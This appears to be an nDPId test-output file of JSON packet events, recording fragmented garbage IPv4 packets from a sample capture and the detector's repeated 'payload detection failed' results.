+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346096,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346110,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346124,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346138,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346151,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346164,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346221,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346249,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346275,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346286,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346325,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346352,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346378,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346406,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346419,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346431,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346445,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346498,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346506,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346532,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346543,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":346621,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 